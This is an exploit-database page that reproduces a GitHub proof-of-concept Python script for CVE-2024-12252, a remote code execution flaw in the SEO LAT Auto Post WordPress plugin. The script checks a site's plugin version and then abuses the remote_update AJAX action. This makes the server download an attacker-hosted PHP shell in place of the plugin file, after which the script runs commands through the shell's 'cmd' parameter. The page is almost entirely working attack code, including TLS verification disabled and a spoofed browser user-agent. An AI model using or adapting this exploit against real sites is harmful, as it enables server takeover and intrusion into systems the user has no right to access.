Exploit database

GH-c2c3ac94fbfea4585576646278bb927f

nxploited/cve-2024-12252

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-12252

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
nxploited/cve-2024-12252Revision a406ff5e4624

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-12252.py

Python · 3,554 bytes
import argparse
import requests
import re

#By Nxploit | Khaled Alenazi

requests.packages.urllib3.disable_warnings()

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
})

def check_vulnerable_version(base_url):
    readme_url = base_url.rstrip('/') + "/wp-content/plugins/seo-beginner-auto-post/readme.txt"
    print(f"[+] Checking plugin version at: {readme_url}")

    try:
        response = session.get(readme_url, timeout=10)
        if response.status_code == 200:
            match = re.search(r"Stable tag:\s*([\d.]+)", response.text)
            if match:
                version = match.group(1).strip()
                print(f"[+] Detected plugin version: {version}")
                if version <= "2.2.1":
                    print("[!] Plugin is vulnerable. Proceeding with exploitation...")
                    return True
                else:
                    print("[-] Plugin version is not vulnerable.")
            else:
                print("[-] Could not determine plugin version from readme.txt")
        else:
            print(f"[-] Failed to fetch readme.txt (HTTP {response.status_code})")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error while connecting: {e}")

    return False

def exploit_remote_update(base_url, attack_url):
    print(f"[+] Triggering exploit with payload: {attack_url}")
    exploit_url = base_url.rstrip('/') + "/wp-admin/admin-ajax.php?action=remote_update&url=" + attack_url
    try:
        response = session.post(exploit_url, timeout=10)
        if response.status_code == 200 and 'success' in response.text:
            print("[+] Exploit triggered successfully.")
            shell_path = base_url.rstrip('/') + "/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php"
            print(f"[+] Shell should be available at: {shell_path}?cmd=whoami")
            return shell_path
        else:
            print("[-] Exploit may have failed. Response:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"[-] Exploit error: {e}")
    return None

def execute_command(shell_url, command):
    try:
        response = session.get(f"{shell_url}?cmd={command}", timeout=10)
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"[-] Command execution error: {e}")
        return None

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-12252 | SEO LAT Auto Post <= 2.2.1 - Remote Code Execution # by: By Nxploit | Khaled Alenazi")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com/wordpress)")
    parser.add_argument("--attack-url", required=True, help="Direct URL to your malicious PHP shell")
    args = parser.parse_args()

    if check_vulnerable_version(args.url):
        print("[+] Ready for exploitation stage...")
        shell_url = exploit_remote_update(args.url, args.attack_url)
        if shell_url:
            print(f"[+] Shell successfully uploaded. Access it at: {shell_url}?cmd=ls")
            # Example of executing a command
            print("[+] Executing 'ls' command:")
            result = execute_command(shell_url, "ls")
            if result:
                print(result)
    else:
        print("[-] Target does not appear to be vulnerable.")

if __name__ == "__main__":
    main()